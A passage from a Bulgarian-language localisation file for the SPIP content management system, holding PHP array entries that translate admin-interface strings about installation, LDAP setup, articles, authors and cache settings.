статия, СПИП автоматично създава умалени образи (винетки)
на поместените изображения. Това позволява, например да се създаде
автоматично галерия от изображения.',
'info_ajout_participant' => 'Добавен е следният участник:',
'info_ajouter_rubrique' => 'Добавяне на друга рубрика за управление:',
'info_annonce_nouveautes' => 'Най-новите съобщения',
'info_anterieur' => 'предварителен',
'info_article' => 'статия',
'info_article_2' => 'статии',
'info_article_a_paraitre' => 'Статии за одобрение със стара дата ',
'info_articles_02' => 'статии',
'info_articles_2' => 'Статии',
'info_articles_auteur' => 'Статиите на автора',
'info_articles_trouves' => 'Намерени статии',
'info_articles_trouves_dans_texte' => 'Намерени статии (в текста)',
'info_attente_validation' => 'Вашите статии, очакващи одобрение за публикуване',
'info_aujourdhui' => 'днес:',
'info_auteur_message' => 'ИЗПРАЩАЧ:',
'info_auteurs' => 'Автори',
'info_auteurs_par_tri' => 'Автори@partri@',
'info_auteurs_trouves' => 'Намерени автори',
'info_authentification_externe' => 'Външно удостоверяване на автентичността',
'info_avertissement' => 'Предупреждение',
'info_base_installee' => 'Структурата на Вашата база данни е инсталирана.',
'info_chapeau' => 'Преглед',
'info_chapeau_2' => 'Въведение:',
'info_chemin_acces_1' => 'Опции: <b>Път за достъп до директорията</b>',
'info_chemin_acces_2' => 'От сега нататък Вие трябва да определяте пътя за достъп до данните в директорията. Тази информация дава възможност за преглед на потребителските профили, съхранени там.',
'info_chemin_acces_annuaire' => 'Опции: <b>Път за достъп</b>',
'info_choix_base' => 'Трета стъпка:',
'info_classement_1' => '<sup>st</sup> от общо @liste@',
'info_classement_2' => '<sup>th</sup> от общо @liste@',
'info_code_acces' => 'Не забравяйте личния си код за достъп!',
'info_config_suivi' => 'Ако адресът отговаря а даден пощенски списък, можете да окажете отдолу адресът, където участниците на сайта биха могли да се регистрират. Този адрес може да бъде URL (наример страницата, където се прави регистрация през Интернет страница), или електронен адрес, заедно с определена тема на писмото (например: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Можете да се абонирате за пощенския списък на сайта. За целта ще получите автоматично електронно съобщение с обявленията, свързани с новините и статиите, изпратени за публикуване.',
'info_confirmer_passe' => 'Потвърдете новата парола:',
'info_connexion_base' => 'Втора стъпка: <b>Опит за свързване с базата данни</b>',
'info_connexion_ldap_ok' => '<b>Успешна LDAP връзка</b><p> Преминете към следващата стъпка.', # MODIF
'info_connexion_mysql' => 'Първа стъпка: <b>Вашата SQL връзка</b>',
'info_connexion_ok' => 'Успешно свързване.',
'info_contact' => 'Контакт',
'info_contenu_articles' => 'Съдържание на статиите',
'info_creation_paragraphe' => '(За нов ред оставете празни редове.)', # MODIF
'info_creation_rubrique' => 'Трябва да създадете поне една рубрика,<br />преди да започнете да пишете статии.<br />',
'info_creation_tables' => 'Четвърта стъпка: <b>Създаване на таблици с бази данни</b>',
'info_creer_base' => '<b>Създаване</b> на нова база данни:',
'info_dans_rubrique' => 'В рубриката:',
'info_date_publication_anterieure' => 'Дата на предишно публикуване:',
'info_date_referencement' => 'ДАТА НА СВЪРЗВАНЕ НА САЙТА:',
'info_derniere_etape' => 'Последна стъпка: <b>Приключено!',
'info_derniers_articles_publies' => 'Вашите най-нови публикувани статии',
'info_desactiver_messagerie_personnelle' => 'От тази страница можете да включите/ изключите системата за изпращане на лични съобщения.',
'info_descriptif' => 'Описание:',
'info_discussion_cours' => 'Дискусии в ход',
'info_ecrire_article' => 'Преди да започнете за пишете статии, трябва да създадете поне една рубрика.',
'info_email_envoi' => 'Електронен адрес на изпращача (по желание)',
'info_email_envoi_txt' => 'Впишете електронния адрес на изпращача, който използвате (по подразбиране, адресът на получателя ще се използва за адрес на изпращача):',
'info_email_webmestre' => 'Електронен адрес на уеб-администратора (незадължителен)', # MODIF
'info_entrer_code_alphabet' => 'Въвеждане на кода на азбуката, която ще бъде използвана:',
'info_envoi_email_automatique' => 'Автоматично изпращане на съобщение',
'info_envoyer_maintenant' => 'Изпращане',
'info_etape_suivante' => 'Преминете към следващата стъпка',
'info_etape_suivante_1' => 'Можете да преминете към следващата стъпка.',
'info_etape_suivante_2' => 'Можете да преминете към следващата стъпка.',
'info_exportation_base' => 'експортиране на базата данни в @archive@',
'info_facilite_suivi_activite' => 'За улесняване по-нататъшните действия на редакторите,
СПИП изпраща по електронна поща съобщение с молбите за публикуване и одобрените статии до
някой пощенски списък
на редактори, например.
',
'info_fichiers_authent' => 'Файл за удостоверяване автентичността: .htpasswd',
'info_forums_abo_invites' => 'Сайтът Ви съдържа форуми посредством предварителен абонамент; посетителите могат да се регистират за тях през публичния сайт.',
'info_gauche_admin_effacer' => '<b>Само администратори имат достъп до тази страница.</b><p> Тя осигурява достъп до различни технически задачи за поддръжка. Някои от тях позволяват специфичен процес на идентификация и изискват FTP достъп до сайта.', # MODIF
'info_gauche_admin_tech' => '<b>Само администратори имат достъп до тази страница.</b><p> Тя осигурява достъп до различни
технически задачи за поддръжка. Някои от тях позволяват специфичен процес на
идентификация и изискват FTP достъп до сайта.', # MODIF
'info_gauche_admin_vider' => '<b>Само администратори имат достъп до тази страница.</b><p> Тя осигурява достъп доразлични
технически задачи за поддръжка. Някои от тях позволяват специфичен процес на
идентификация и изискват FTP достъп до сайта.', # MODIF
'info_gauche_auteurs' => 'Тук ще намерите всички автори на сайта.
Статусът на всеки от тях е обозначен с цвета на неговата икона (редактор - жълта; администратор - зелена).',
'info_gauche_auteurs_exterieurs' => 'Външни автори, без достъп до сайта, са обозначени със синя икона; изтритите автори - с кошче за боклук.', # MODIF
'info_gauche_messagerie' => 'Изпращането на съобщения позволява да се обменя информация между редакторите, да се съхраняват бележки (за лично ползване) или да се публикуват обяви в началната страница на личната зона (ако сте администратор).',
'info_gauche_numero_auteur' => 'НОМЕР НА АВТОРА:',
'info_gauche_statistiques_referers' => 'Тази страница показва списък с <i>препратки към сайтове</i>: т.е. сайтовете, съдържащи връзка към Вашия сайт, само за вчера и днес: този списък се акуализира на всеки 24 часа.',
'info_gauche_visiteurs_enregistres' => 'Тук ще намерите посетителите, регистрирани
в публичната зона на сайта (форумите са с предварително записване).',
'info_generation_miniatures_images' => 'Генерирана на умалени образи на изображенията',
'info_gerer_trad' => 'Управление на връзките с преводи?',
'info_hebergeur_desactiver_envoi_email' => 'Някои доставчици не позволяват изпращането на автоматични съобщения
от техните сървъри. В този случай, следните свойства
на СПИП не работят:',
'info_hier' => 'вчера:',
'info_historique_activer' => 'Активиране проследяването на преработките',
'info_historique_affiche' => 'Показване на версията',
'info_historique_comparaison' => 'сравнение',
'info_historique_desactiver' => 'Дезактивиране проследяването на преработките',
'info_historique_texte' => 'Проследяването на корекциите позволява да се прави справка на всички промени, направени на статията и да показва различията между последващите версии.',
'info_identification_publique' => 'Публична самоличност...',
'info_image_process' => 'Изберете най-удобният начин да създавате миниатюри, чрез натискане въру съответната картинка.',
'info_image_process2' => '<b>N.B.</b> <i>Ако не можете да видите никакво изображение, следователно сървърът Ви не е конфигуриран да използва такива инструменти. Ако искате да ползвате това свойство, трябва да се свържете с доставчика си и да поискате да ви инсталират разширения от типа "GD" или "Imagick"</i>', # MODIF
'info_images_auto' => 'Автоматично изчислени изображения',
'info_informations_personnelles' => 'Стъпка пет: <b>Лични данни</b>',
'info_inscription_automatique' => 'Автоматична регистрация на нови редактори',
'info_jeu_caractere' => 'Кодировка на сайта',
'info_jours' => 'дни',
'info_laisser_champs_vides' => 'оставите празни полетата)',
'info_langues' => 'Езици на сайта',
'info_ldap_ok' => 'Инсталирана е аутентификация за LDAP.',
'info_lien_hypertexte' => 'Хипертекстова препратка:',
'info_liste_redacteurs_connectes' => 'Списък на свързаните редактори',
'info_login_existant' => 'Потребителското име вече съществува.',
'info_login_trop_court' => 'Потребителското име е твърде кратко.',
'info_maximum' => 'максимум:',
'info_meme_rubrique' => 'В същата рубрика',
'info_message' => 'Съобщение от',
'info_message_efface' => 'СЪОБЩЕНИЕТО Е ИЗТРИТО',
'info_message_en_redaction' => 'Съобщения в процес на обработка',
'info_message_technique' => 'Техническо съобщение:',
'info_messagerie_interne' => 'Система за вътрешни съобщения',
'info_mise_a_niveau_base' => 'Актуализиране на базата данни SQL',
'info_mise_a_niveau_base_2' => '{{Предупреждение!}} Инсталираната версия на СПИП
е по-стара от тази, показана на този сайт
Има риск за изгубване на данни, както и Вашият сайт да
спре да работи.<br />{{Преинсталирай
файловете на СПИП.}}',
'info_modifier_rubrique' => 'Промяна на настройките на рубриката:',
'info_modifier_titre' => 'Промяна: @titre@',
'info_mon_site_spip' => 'Моят сайт под СПИП',
'info_mot_sans_groupe' => '(Ключови думи извън групите...)',
'info_moteur_recherche' => 'Интегрирана търсачка',
'info_moyenne' => 'средно:',
'info_multi_articles' => 'Да се активира ли езиково меню за статиите?',
'info_multi_cet_article' => 'Език на статията:',
'info_multi_langues_choisies' => 'Изберете по-долу езиците, които желаете да са активни за редакторите на сайта.
Езиците, които вече са използвани в сайта (в началото на списъка) не могат да бъдат деактивирани.',
'info_multi_rubriques' => 'Да се активира ли езиковото меню за рубриките?',
'info_multi_secteurs' => ' ... само за рубрики, намиращи се в схемата?',
'info_nom' => 'Име',
'info_nom_destinataire' => 'Име на получателя',
'info_nom_site' => 'Име на сайта Ви',
'info_nombre_articles' => '@nb_articles@ статии,',
'info_nombre_partcipants' => 'УЧАСТНИЦИ В ДИСКУСИЯТА:',
'info_nombre_rubriques' => '@nb_rubriques@ рубрики,',
'info_nombre_sites' => '@nb_sites@ сайтове,',
'info_non_deplacer' => 'Не правете нищо...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'СПИП може да изпраща регулярно информация за новостите на сайта.
(напр. съобщения за наскоро публикуваните статии и новини).',
'info_non_envoi_liste_nouveautes' => 'Бе изпращане на списък с най-новите съобщения',
'info_non_modifiable' => 'промяната е невъзможна',
'info_non_suppression_mot_cle' => 'Отказ от изтриване на ключовата дума.',
'info_notes' => 'Бележки под линия',
'info_nouveaux_message' => 'Нови съобщения',
'info_nouvel_article' => 'Нова статия',
'info_nouvelle_traduction' => 'Нов превод:',
'info_numero_article' => 'НОМЕР НА СТАТИЯТА:',
'info_obligatoire_02' => '[Задължително]', # MODIF
'info_option_accepter_visiteurs' => 'Позволяване регистрацията на посетители от публичния сайт',
'info_option_faire_suivre' => 'Препраща съобщения от форума към автора на статията',
'info_option_ne_pas_accepter_visiteurs' => 'Отказ за регистрация на посетител',
'info_options_avancees' => 'ПОДРОБНИ ОПЦИИ',
'info_ortho_activer' => 'Активиране на програмата за проверка на правописа.',
'info_ortho_desactiver' => 'Деактивиране на програмата за проверка на правописа.',
'info_ou' => 'или ...',
'info_page_interdite' => 'Забранена страница',
'info_par_nombre_article' => '(по номер на статията)',
'info_passe_trop_court' => 'Паролата не е достатъчно дълга.',
'info_passes_identiques' => 'Двете пароли не съвадат.',
'info_pense_bete_ancien' => 'Вашите стари бележки', # MODIF
'info_plus_cinq_car' => 'повече от 5 знака',
'info_plus_cinq_car_2' => '(повече от 5 знака)',
'info_plus_trois_car' => '(повече от 3 знака)',
'info_popularite' => 'популярност: @popularite@; посещения: @visites@',
'info_popularite_4' => 'популярност: @popularite@; поесещения: @visites@',
'info_post_scriptum' => 'Постскриптум',
'info_post_scriptum_2' => 'Постскриптум:',
'info_pour' => 'за',
'info_preview_admin' => 'Достъп до предварителния преглед имат само администраторите',
'info_preview_comite' => 'Всички автори имат достъп до предварителния преглед',
'info_preview_desactive' => 'Изключване на функцията "предварителен достъп"',
'info_preview_texte' => 'Възможно е да се прави предварителен преглед на сайта все едно, че всички статии и новини (които имат статус "изпратени") са вече публикувани. Да бъде ли даден достъп към тази функция на администраторите само, да бъде ли възможна за всички автори на сайта или да бъде изключена напълно?',
'info_principaux_correspondants' => 'Вашите основни кореспонденти',
'info_procedez_par_etape' => 'моля, продължете напред стъпка по стъпка',
'info_procedure_maj_version' => 'процедурата по обновяване трябва да се стартира,
за да може базата данни да се адаптира към новата версия на СПИП.',
'info_ps' => 'П.С. ',
'info_publier' => 'публикуване',
'info_publies' => 'Вашите публикувани статии',
'info_question_accepter_visiteurs' => 'Ако шаблоните на сайта Ви позволяват посетителите да се регистират без да влизат в личната зона, активирайте следната опция:',
'info_question_inscription_nouveaux_redacteurs' => 'Позволявате ли регистрацията на нови редактори от
публикувания сайт. Ако сте съгласни, посетителите трябва да се
регистрират през автоматичната форма, за да имат достъп до личната зона и
да предложат свои собствени статии. <blockquote><i>По време на регистрацията
потребителите получават автоматично
съобщение с код за достъп до личната зона. Някои
доставчици спират съобщения, изпратени
до техни сървъри: в този случай автоматичната регистрация
не би могла да се осъществи.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Желаете ли да използвате търсещата машина под СПИП?
(при отказване действието й увеличавате скоростта на действие на системата.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Схема на сайта',
'info_recharger_page' => 'Моля, презаредете страницата след малко.',
'info_recherche_auteur_a_affiner' => 'Твърде много намерени резултати за @cherche_auteur@; моля, прецизирайте търсенето си.',
'info_recherche_auteur_ok' => 'Бяха намерени няколко редактора за @cherche_auteur@:',
'info_recherche_auteur_zero' => 'Няма намерени резултати за @cherche_auteur@.',
'info_recommencer' => 'Моля, опитайте отново.',
'info_redacteur_1' => 'Редактор',
'info_redacteur_2' => 'достъп до личната зона(<i>препоръчително</i>)',
'info_redacteurs' => 'Редактори',
'info_redaction_en_cours' => 'В ХОД Е ПИСАНЕ',
'info_redirection' => 'Пренасочване',
'info_refuses' => 'Вашите отхвърлени статии',
'info_reglage_ldap' => 'Опции: <b>Приспособяване на вписването чрез LDAP</b>',
'info_renvoi_article' => '<b>Пренасочване.</b> Статията се отнася към страница:',
'info_reserve_admin' => 'Този адрес може да се променя само от администратори.',
'info_restreindre_rubrique' => 'Забрана за управление на рубриката:',
'info_resultat_recherche' => 'Намерени резултати:',
'info_rubriques' => 'Рубрики',
'info_rubriques_02' => 'рубрики',
'info_rubriques_trouvees' => 'Намерени рубрики',
'info_rubriques_trouvees_dans_texte' => 'Намерени рубрики (в текста)',
'info_sans_titre' => 'Без заглавие',
'info_selection_chemin_acces' => '<b>Изберете</b> по-долу път за достъп в директорията:',
'info_signatures' => 'подписи',
'info_site' => 'Сайт',
'info_site_2' => 'сайт:',
'info_site_min' => 'сайт',
'info_site_reference_2' => 'Свързан сайт',
'info_site_web' => 'ИНТЕРНЕТ САЙТ:', # MODIF
'info_sites' => 'сайтове',
'info_sites_lies_mot' => 'Свързани сайтове, асоциирани с ключовата дума',
'info_sites_proxy' => 'Използване на прокси',
'info_sites_trouves' => 'Намерени сайтове',
'info_sites_trouves_dans_texte' => 'Намерени сайтове (в текста)',
'info_sous_titre' => 'Подзаглавие:',
'info_statut_administrateur' => 'Администратор',
'info_statut_auteur' => 'Статус на автора:', # MODIF
'info_statut_auteur_a_confirmer' => 'Регистрация, предстояща за потвърждение',
'info_statut_auteur_autre' => 'Друг статус:',
'info_statut_efface' => 'Изтрит',
'info_statut_redacteur' => 'Редактор',
'info_statut_utilisateurs_1' => 'Статус "по подразбиране" на вписаните потребители',
'info_statut_utilisateurs_2' => 'Изберете статус за хората, вписани в LDAP-директорията при свързването им за първи път. По-късно ще можете да променяте тази характеристика за всеки автор по отделно.',
'info_suivi_activite' => 'Дейности на редакторите',
'info_surtitre' => 'Челно заглавие:',
'info_syndication_integrale_1' => 'Сайтът Ви предлага файлове за обединение (вж <a href="@url@">@titre@</a>).',
'info_syndication_integrale_2' => 'Желаете ли да изпратите цели статии или само резюме от няколко стотин знака?',
'info_taille_maximale_vignette' => 'Максимален размер на винетките, който е генериран от системата:',
'info_terminer_installation' => 'Сега можете да приключите с процеса по стандартна инсталация.',
'info_texte' => 'Текст',
'info_texte_explicatif' => 'Обяснителен текст',
'info_texte_long' => '(текстът е прекалено дълъг: той ще се появи в няколко части, които ще бъдат събрани след одобрението.)',
'info_texte_message' => 'Текст на съобщението:', # MODIF
'info_texte_message_02' => 'Текст на съобщение',
'info_titre' => 'Заглавие:',
'info_total' => 'общо:',
'info_tous_articles_en_redaction' => 'Всички статии в процес на обработка',
'info_tous_articles_presents' => 'Всички статии в рубриката',
'info_tous_les' => 'всички:',
'info_tous_redacteurs' => 'Съобщения към всички редактори',
'info_tout_site' => 'Целият сайт',
'info_tout_site2' => 'Статията не е преведена на дадения език.',
'info_tout_site3' => 'Статията е преведена на дадения език, но след това са направени промени в основната статия. Преводът изисква актуализация.',
'info_tout_site4' => 'Статията е преведена на дадения език, а преводът - актуализиран.',
'info_tout_site5' => 'Оригинална статия.',
'info_tout_site6' => '<b>Предупреждение:</b> показани са само оригинални статии.
Преводите са свързани с оригинала в цвят, посочващ техния статус:',
'info_travail_colaboratif' => 'Съвместна работа по статии',
'info_un_article' => 'една статия,',
'info_un_site' => 'сайт,',
'info_une_rubrique' => 'рубрика,',
'info_une_rubrique_02' => '1 рубрика',
'info_url' => 'URL:',
'info_url_site' => 'URL на сайта:',
'info_urlref' => 'Препратка в хипертекст:',
'info_utilisation_spip' => 'СПИП вече е готов за използване.',
'info_visites_par_mois' => 'Месечен дисплей:',
'info_visiteur_1' => 'Посетител',
'info_visiteur_2' => 'публичен сайт',
'info_visiteurs' => 'Посетители',
'info_visiteurs_02' => 'Посетители на публичния сайт',
'install_echec_annonce' => 'Инсталацията Ви вероятно няма да проработи или сайтът, който правите ще даде лош резултат...',
'install_extension_mbstring' => 'СПИП не работи с:',
'install_extension_php_obligatoire' => 'СПИП изисква разширение от типа php:',
'install_select_langue' => 'Изберете език и след това натиснете бутон по-нататък, за да стартирате процедурата по инсталацията.',
'intem_redacteur' => 'редактор',
'item_accepter_inscriptions' => 'Позволяване на регистрации',
'item_activer_messages_avertissement' => 'Активиране на предупредителни съобщения',
'item_administrateur_2' => 'администратор',
'item_afficher_calendrier' => 'Показване в календара',
'item_autoriser_documents_joints' => 'Одобряване на документи, прикрепени към статии',
'item_autoriser_documents_joints_rubriques' => 'Одобряване на документи в рубриките',
'item_autoriser_syndication_integrale' => 'Включване на цели статии във файловете за обединяване',
'item_choix_administrateurs' => 'администратори',
'item_choix_generation_miniature' => 'Автоматично генериране на умалени образи.',
'item_choix_non_generation_miniature' => 'Без генериране на умалени образи.',
'item_choix_redacteurs' => 'редактори',
'item_choix_visiteurs' => 'посетители на публичния сайт',
'item_creer_fichiers_authent' => 'Създаване на файлове от типа .htpasswd',
'item_limiter_recherche' => 'Ограничаване търсенето на информация, съдържаща се само във Вашия сайт',
'item_login' => 'Потребителско име',
'item_mots_cles_association_articles' => 'статиите',
'item_mots_cles_association_rubriques' => 'рубриките',
'item_mots_cles_association_sites' => 'свързаните или обединени сайтове.',
'item_non' => 'Не',
'item_non_accepter_inscriptions' => 'Забрана на регистрации',
'item_non_activer_messages_avertissement' => 'Без предупредителни съобщения',
'item_non_afficher_calendrier' => 'Без показване в календара',
'item_non_autoriser_documents_joints' => 'Забрана за одобряване на документи в статии',
'item_non_autoriser_documents_joints_rubriques' => 'Забрана за одобряване на документи в рубриките',
'item_non_autoriser_syndication_integrale' => 'Изпращане на резюме',
'item_non_creer_fichiers_authent' => 'Забрана за създаване на файловете',
'item_non_gerer_statistiques' => 'Без управление на статистиката',
'item_non_limiter_recherche' => 'Разширяване на търсенето в текстове от свързаните сайтове',
'item_non_publier_articles' => 'Забраняване публикуването на статии преди техните дати на публикуване.',
'item_non_utiliser_moteur_recherche' => 'Без търсачка',
'item_nouvel_auteur' => 'Нов автор',
'item_nouvelle_rubrique' => 'Нова рубрика',
'item_oui' => 'Да',
'item_publier_articles' => 'Публикуване на статиите независимо от техните дати на публикуване.',
'item_reponse_article' => 'Отговор на статията',
'item_utiliser_moteur_recherche' => 'Използване на търсачката',
'item_visiteur' => 'посетител',
// J
'jour_non_connu_nc' => 'непознат',
// L
'lien_ajout_destinataire' => 'Добавяне на получателя',
'lien_ajouter_auteur' => 'Добавяне на автора',
'lien_ajouter_participant' => 'Добавяне на участник',
'lien_email' => 'Електронен адрес',
'lien_nom_site' => 'ИМЕ НА САЙТА:',
'lien_retirer_auteur' => 'Премахване на автор',
'lien_retrait_particpant' => 'премахване на участника',
'lien_site' => 'сайт',
'lien_supprimer_rubrique' => 'изтриване на рубриката',
'lien_tout_deplier' => 'Разширяване на всички',
'lien_tout_replier' => 'Разтваряне на всички',
'lien_trier_nom' => 'Подреждане по име',
'lien_trier_nombre_articles' => 'Подреждане по номер на статията',
'lien_trier_statut' => 'Подреждане по статус',
'lien_voir_en_ligne' => 'ИЗГЛЕД НА САЙТА:',
'logo_article' => 'ЛОГО НА СТАТИЯТА', # MODIF
'logo_auteur' => 'ЛОГО НА АВТОРА', # MODIF
'logo_rubrique' => 'ЛОГО НА РУБРИКАТА', # MODIF
'logo_site' => 'ЛОГО НА САЙТА', # MODIF
'logo_standard_rubrique' => 'СТАНДАРТНО ЛОГО ЗА РУБРИКИ', # MODIF
'logo_survol' => 'АЛТЕРНАТИВНО ЛОГО', # MODIF
// M
'menu_aide_installation_choix_base' => 'Избор на база данни',
'module_fichier_langue' => 'Езиков файл',
'module_raccourci' => 'Кратка команда',
'module_texte_affiche' => 'Показан текст',
'module_texte_explicatif' => 'Можете да впишете следните кратки команди в шаблоните на сайта си. Те ще бъдат автоматично преведени на различни езици, за които има езиков файл.',
'module_texte_traduction' => 'Езиковият файл ,, @module@ ’’ е достъпен на:',
'mois_non_connu' => 'непознат',
// O
'onglet_repartition_actuelle' => 'сега',
// P
'plugin_etat_developpement' => 'в развитие',
'plugin_etat_experimental' => 'експериментален',
'plugin_etat_stable' => 'стабилен',
'plugin_etat_test' => 'в процес на тестване',
'plugins_liste' => 'Списък с плъгини',
// R
'repertoire_plugins' => 'Директория:',
// S
'statut_admin_restreint' => '(ограничен администратор)', # MODIF
// T
'taille_cache_image' => 'Изображенията, изчислени автоматично от СПИП (умалени изображения, заглавия, преобразени в графики, математически формули в TeX формат и др.) заемат общо @taille@ в директорията @dir@.',
'taille_cache_infinie' => 'Този сайт няма фиксиран лимит за размера на <code>CACHE/</code> директорията.',
'taille_cache_maxi' => 'СПИП се опитва да намали размера на данните в <code>CACHE/</code> директорията до около <b>@octets@</b>.',
'taille_cache_octets' => 'Размерът на кеш-паметта в момента е @octets@.', # MODIF
'taille_cache_vide' => 'Кеш-паметта е празна.',
'taille_repertoire_cache' => 'Размер на кеш-паметта в момента',
'text_article_propose_publication' => 'Изпратена е статия със заявка за публикуване. Не се колебайте да дадете мнението си за нея във форума, който е прикрепен към нея (най-долу на страницата).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Някои LDAP-сървъри не позволяват анонимен достъп. В такива случаи, за да можете да правите справка в директорията, трябва да използвате началното си потребителско име за достъп. Въпреки това, в повечето случаи можете да оставяте следните полета празни. ',
'texte_admin_effacer_01' => 'Тази команда изтрива <i>цялото</i> съдържание в базата данни,
включително <i>всички</i> параметри за достъп за редактори и администратори. След нейното изпълнение, трябва
да се преинсталира СПИП, за да се създаде нова база данни и първи администраторски достъп.',
'texte_adresse_annuaire_1' => '( Ако директорията Ви е инсталирана на същата машина, на която и Интернет сайта, вероятно е «localhost».)',
'texte_ajout_auteur' => 'Следният автор бе добавен към статията:',
'texte_annuaire_ldap_1' => 'Ако разполагате с достъп до (LDAP) директория, можете да я използвате, за да вписвате автоматично потребители в СПИП.',
'texte_article_statut' => 'Статията е:',
'texte_article_virtuel' => 'Виртуална статия',
'texte_article_virtuel_reference' => '<b>Виртуална статия:</b> свързана статия на Вашия СПИП сайт, която се пренасочва към друг URL адрес. За да премахнете пренасочването, изтрийте горепосочения URL.',
'texte_aucun_resultat_auteur' => 'Няма намерен разултат за @cherche_auteur@.',
'texte_auteur_messagerie' => 'Сайт може продължително да следи списъка от свързани редактори, което позволява изпращането та съобщения в реално време (ако съобщението е забранено по-горе, тогава целият списък от редактори е забранен). Вие можете да решите да не се появявате в този списък (т.е. да сте невидим за останалите потребители).',
'texte_auteur_messagerie_1' => 'Този сайт позволява обмен на съобщения и стартиране на форуми за лична дискусия сред участниците на сайта. Вие сами можете да избирате да не участвате в този диалог.',
'texte_auteurs' => 'АВТОРИТЕ',
'texte_choix_base_1' => 'Изберете база данни:',
'texte_choix_base_2' => 'Сървърът SQL съдържа няколко бази данни.',
'texte_choix_base_3' => '<b>Изберете</b> по-долу това, което доставчикът Ви e разрешил:',
'texte_commande_vider_tables_indexation' => 'Използвайте тази команда, за да изпразните таблиците с индекси
използвани от търсачката на СПИП. Това ще Ви позволи
да спестите малко място на диска.',
'texte_compresse_ou_non' => '(може да бъде или да не бъде компресиран)',
'texte_compte_element' => '@count@ елемент',
'texte_compte_elements' => '@count@ елементи',
'texte_connexion_mysql' => 'Погледнете информацията, предоставена от доставчика Ви: ако доставчикът ви поддържа SQL, трябва да са дадени кодовете за връзка със сървъра SQL.', # MODIF
'texte_contenu_article' => '(Съдържание на статията с няколко думи.)',
'texte_contenu_articles' => 'Въз основа на оформлението на сайта Ви, може да решите
да не използвате някои елементи на статиите.
Използвайте този списък, за да изберете кои елементи искате да направите активни.',
'texte_crash_base' => 'Ако Вашата база данни
блокира, можете да се опитате да я поправите
автоматично.',
'texte_creer_rubrique' => 'Преди да пишете статии,<br /> трябва да създадете рубрика.',
'texte_date_creation_article' => 'ДАТА НА СЪЗДАВАНЕ НА СТАТИЯТА:',
'texte_date_publication_anterieure' => 'Дата на предишно публикуване:',
'texte_date_publication_anterieure_nonaffichee' => 'Скриване датата на предишно публикуване.',
'texte_date_publication_article' => 'ДАТА НА ПУБЛИКУВАНЕ В ИНТЕРНЕТ:',
'texte_descriptif_petition' => 'Описание на молбите',
'texte_descriptif_rapide' => 'Кратко описание',
'texte_effacer_base' => 'Изтриване на базата данни СПИП',
'texte_effacer_donnees_indexation' => 'Изтриване на данни с индекси',
'texte_en_cours_validation' => 'Изпратени са следните статии със заявка за публикуване. Не се колебайте да дадете мнението си за тях във форума, който е прикрепен към тях. ', # MODIF
'texte_enrichir_mise_a_jour' => 'Можете да обогатите външния вид на текста като използвате «Типографски кратки команди».',
'texte_fichier_authent' => '<b>Да създаде ли СПИП специални <tt>.htpasswd</tt>
и <tt>.htpasswd-admin</tt> файлове в директорията@dossier@?</b><p>
Тези файлове ще бъдат използвани за ограничаване достъпа на авторите
и администраторите до други части на сайта
(например, външна статистическа програма).<p>
Ако не сте използвали такива файлове преди, можете да осигурите възможност
за стойност "по подразбиране" (без
да се създават файлове).', # MODIF
'texte_informations_personnelles_1' => 'Системата сега ще създаде личен достъп до сайта. ',
'texte_informations_personnelles_2' => '(Забележка: ако това е преинсталация и достъпът Ви все още е активен, можете', # MODIF
'texte_introductif_article' => '(Въведение към статията.)',
'texte_jeu_caractere' => 'Препоръчваме да използвате на сайта универсална кодировка на знаците от азбуката (<tt>utf-8</tt>), за да може да се показва под формата на текст на всякакъв език. Никой от настоящите Интернет - навигатори нямат проблеми с нея. ',
'texte_jeu_caractere_2' => 'N.B. Тази настройка няма да промени текста, който е вече запазен в базата от данни. ',
'texte_jeu_caractere_3' => 'Настоящата кодировка на сайта е:',
'texte_jeu_caractere_4' => 'Ако това не отговаря на ситуацията, която имате с данните си (например след възстановяване на базата от данни от архива) или ако <em>правите настройка на сайта си в момента</em> и желаете да използвате различна кодировка на символите, моля да обозначите кодировката тук:',
'texte_jeu_caractere_conversion' => 'Забележка: Можете да да промените всичките текстове на сайта (статии, новини, форуми и др.) в кодировка на символите <tt>utf-8</tt>. За целта, преминете към: <a href="@url@">страница за преобразуване в UTF-8</a>.',
'texte_lien_hypertexte' => '(Ако съобщението се отнася до статия, публикувана в Интернет или до страница с повече информация, въведете заглавието на страницата и нейния уеб-адрес.)',
'texte_login_ldap_1' => '(Оставете празно поле за потребител за анонимен достъп или попълнете пълния път за достъп, например «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».)',
'texte_login_precaution' => 'Внимание! Това е потребителското име, с което в момента сте се свързали.
Предпазливо използвайте формата ...',
'texte_message_edit' => 'Внимание: това съобщение може да бъде променяно от всички администратори на сайта. То се чете от редакторите. Използвайте съобщенията само за подчертаване на важни за съществуването на сайта събития. ',
'texte_mise_a_niveau_base_1' => 'СПИП файловете са актуализирани.
Сега остава да обновите базата данни на
сайта.',
'texte_modifier_article' => 'Промяна на статията:',
'texte_moteur_recherche_active' => '<b>Търсачката е активирана.</b> използвайте тази команда,
ако желаете да направите бързо преиндексиране (например след
възстановяване на архив). Забележете, че документите, коите са променени
по стандартен начин (от интерфейса на СПИП) са индексирани
отново автоматично: следователно тази команда върши работа само в изключителни обстоятелства.',
'texte_moteur_recherche_non_active' => 'Търсачката не е активирана.',
'texte_multilinguisme' => 'Ако желаете да боравите със статии на няколко езика с усложнена навигация, можете да добавите меню "избор на език" към статиите и/или към рубриките, в зависимост от организацията на сайта Ви.', # MODIF
'texte_multilinguisme_trad' => 'Също така, можете да активирате система за управление на препратките към различните преводи на статията.', # MODIF
'texte_non_compresse' => '<i>uncompressed</i> (сървърът ви не поддрържа това свойство)',
'texte_nouveau_message' => 'Ново съобщение',
'texte_nouvelle_version_spip_1' => 'Току-що инсталирахте нова версия на СПИП.',
'texte_nouvelle_version_spip_2' => 'Тази нова версия налага по-сериозна от обикновената актуализация. Ако сте администратор на сайта, изтрийте файла <tt>inc_connect.php3</tt> от директория <tt>ecrire</tt> и стартирайте отново инсталацията, с цел да актуализирате параметрите на базата данни за връзка. <p>(NB: ако сте забравили параметрите на базата данни за връзка, погледнете следния файл <tt>inc_connect.php3</tt> преди да го изтриете).', # MODIF
'texte_operation_echec' => 'Върнете се на предишната страница, за да изберете друга база или да създадете нова. Потвърдете информацията, изпратена от Вашия доставчик. ',
'texte_plus_trois_car' => 'повече от 3 знака',
